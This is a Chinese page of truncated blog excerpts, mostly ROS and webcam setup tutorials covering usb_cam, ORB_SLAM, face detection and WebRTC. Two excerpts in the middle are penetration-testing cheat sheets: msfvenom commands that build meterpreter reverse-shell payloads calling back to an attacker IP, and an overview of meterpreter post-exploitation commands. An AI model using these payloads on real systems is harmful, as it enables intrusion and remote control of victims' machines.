下面是一些USB摄像头的驱动(大多数摄像头都支持uvc标准): 1 使用软件库里的uvc-camera功能包 1.1 检查摄像头 lsusb ------------------------------------- 显示如下: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 007: ID 046d:082b Logitech, Inc. Webcam C170 Bus 001 Devi

当使用摄像头遇到如下问题:[usb_cam-1] process has died [pid 12288, exit code 127, cmd /opt/ros/indigo/lib/usb_cam/usb_cam_node __name:=usb_cam __log:=/home/sanstyle/.ros/log/783945ac-c7e3-11e6-bddb-4437e6444bf6/usb_cam-1.log].log file: /home/sanstyle/.ros/log/783

使用rqt_image_view命令,查看摄像头是否正常输出图像

可能有很多人想在ROS下学习视觉,先用摄像头获取图像,再用opencv做相应算法处理,可是ROS下图像的采集可不像平常的read一下那么简单,需要借助外部package的使用.而摄像头即可以用笔记本自带的摄像头,也可以用外部的kinect,当然还可以是外部接入的usb接口的摄像头.前两者照着<ROS by Example 1>的 第10章来学习,安装一下相应的package很容易上手.但是Lz在用ROS操作外部接入的摄像头时遇到了一些问题,用书中的uvc_cam package读入不了图像,L

转自:http://www.cnblogs.com/surpassal/archive/2012/12/19/zed_webcam_lab1.html 一直想把USB摄像头接到Zedboard上,搭建一个简易视频监控系统方便后续做视频处理.Xilinx官方给出了一个Webcam摄像头监控的例子,跑的是linaro,不知道是我的SD卡问题还是摄像头的问题,播放视频的时候总是会很卡,而且突然系统就死掉了.还是很喜欢自己动手,能学到新东西.Digilent官方给的OOB设计,那个精简的linux足够做

通过ROS打开摄像头 查看话题信息和消息 图像数据: 默认调用笔记本自带摄像头,如需调用外接摄像头,需要将其中video0改成video1.

本文将引导快速使用 Detectron2 ,介绍用摄像头测试实时目标检测. Detectron2: https://github.com/facebookresearch/detectron2 环境准备 基础环境 Ubuntu 18.04 系统安装,可见 制作 USB 启动盘,及系统安装 Nvidia Driver 驱动安装,可见 Ubuntu 初始配置 - Nvidia 驱动 Anaconda Python 从这里下载 Linux 版本,并安装 Detectron2 安装, # 创建 Pyth

1.下载代码   https://github.com/raulmur/ORB_SLAM/    (同时也可以看看作者的牛叉论文,我是打算先用代码,再回头看论文) 2.打开后如下 就好像是用一件新产品一样,我们首先要看一下说明书“README.md”, README.md介绍了很多关于这个工程的东西,比如作者,发表的论文,研究的人员,代码的下载以及更新 那么我们首先从有用的信息开始操作:(备注:以下内容都是我的个人理解,都是别人的东西,我拿来学习而已) 3.解决依赖项 3.1 Boost   :

转自: http://bbs.elecfans.com/jishu_510084_1_1.html 本篇主要内容分为: 嵌入式视频图像开源库     mjpg-streamer简介     mjpg-streamer在Ubuntu下编译 一.嵌入式视频图像开源库     在嵌入式系统中,常用的视频图像处理开源系统有:luvcview.cheese.motion.mjpg-streamer或者ffmpeg,其中: luvcview: 基于V4L2.SDL的程序,支持拍照录像,参数调节,代码精简实用

0x00 Windows,Linux反弹shell生成 Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe > 保存路径 Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f elf > 保存路径 0x01 msfvenom命令参数: Options: -p, --paylo

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令.脚本及使用方式.包含信息收集.提权.注册表操作.令牌操纵.哈希利用.后门植入等. 0x01.系统命令 1)基本系统命令 sessions #sessions –h 查看帮助 sessions -i <ID值> #进入会话 -k 杀死会话 background #将当前会话放置后台 run #执行已有的模块,输入run后按两下tab,列出已有的脚本 info #查看已有

从getUserMedia()到RTCPeerConnection(),自认为难度陡增.我想一方面是之前在Linux平台上学习ROS调用摄像头时,对底层的外设接口调用.摄像头参数都有学习理解:另一方面是,我们在大三下学期才开始计算机网络的课程学习,对网络通信的理解尚处于未能达到闭环的自闭状态(自闭--"全程自学完成知识闭环") 面对ICE.SDP.NAT gateways.STUN.TURN等词汇异常懵逼(解释可以参考这篇introduction)所以写文如下,增进自己的理解,也为同样

本文将介绍 RTSP H264/HEVC 裸流如何于网页前端播放.涉及 WebSocket 代理发送流数据, Wasm 前端解码等. 代码: https://github.com/ikuokuo/rtsp-wasm-player 相关模块: # RTSP WebSocket Proxy RTSP/Webcam/File > FFmpeg open > Packets > WebSocket # WS Wasm Player WebSocket > Packets > Wasm

github地址https://github.com/ngunauj/facedetection 熟悉ros环境.ubuntu16.04 + ros kinetic版本.使用笔记本自带摄像头,完成人脸的实时检测.代码可能会更改,具体以github上的代码为主. camera_subscribe.cpp 订阅camera发出的图片信息,然后对Mat 类型的图片进行每一帧图片的人脸检测,人脸检测代码参考opencv的开源代码. /* *********************************

笔记本自带的摄像头的设备号一般为/dev/video0 第一步:安装Webcam 驱动 $ sudo apt-get install git-core $ cd ~/catkin_ws/src $ git clone https://github.com/ericperko/uvc_cam.git $ rosmake uvc_cam sudo apt-get install ros-indigo-uvc-camera 也可以使用安装usb_cam package的流程和上面的uvc_cam几乎一

在线演示 WebRTC可能是明年最受关注的HTML5标准了,Mozilla为此开发了一套帮助你控制硬件的API,例如,摄像头,麦克风,或者是加速表.你可以不依赖其它的插件来调用你需要的本机硬件设备. 在今天的这篇文章中,我们将介绍来自Wolfram Hempel开发的Photobooth.js,使用这个类库可以帮助你快速的调用摄像头功能,你可以很容易的添加摄像头功能到网站中.并且快速的帮助你拍照,你可以使用这个功能来实现用户的大头照拍摄,是不是非常不错? 主要特性: 对比度设置 颜色设置 亮度设

STEP1安装usb_cam 创建一个工作空间,make一下 mkdir  -p ~/catkin_ws/src cd ~/catkin_ws/ catkin_make STEP2下面是安装usb_cam cd catkin_ws/src git clone https://github.com/bosch-ros-pkg/usb_cam usb_cam cd usb_cam mkdir build cd build cmake .. make 到这个步骤已经安装好usb_cam了,下面可以测试

ROS与深度相机入门教程-在ROS使用kinect v1摄像头 说明: 介绍在ros安装和使用kinect v1摄像头 介绍freenect包 安装驱动 deb安装 $ sudo apt-get install ros-indigo-freenect-* $ rospack profile 源码安装 $ cd ~/catkin_ws/src $ git clone https://github.com/ros-drivers/freenect_stack.git $ cd ~/catkin_ws

要编译ORB_SLAM2的ROS例程首先需要安装ROS,以及在ROS下安装usb_cam驱动并调用,最后搭建ORB_SLAM2. 1.ROS的安装 我的电脑安装的是ubuntu16.04系统,所以我安装的是2016年的发行版本ROS_Kinetic,一般的话ROS的版本是一年一更新,和ubuntu的系统更新保持同步.如果你的系统是ubuntu14.04,你可以安装2014年的发行版本ROS_Indigo. ROS_Kinetic在ubuntu16.04上的安装可以参考我的博客:点击链接地址 2.

1 开发环境 Ubuntu 12.04 ROS Hydro 2 前提 可參考这篇blog:http://blog.csdn.net/yake827/article/details/44564057 blog:http://blog.csdn.net/celesius/article/details/39188119 已安装adrone_autonomy package 而且能够执行 https://github.com/AutonomyLab/ardrone_autonomy 文档:http:/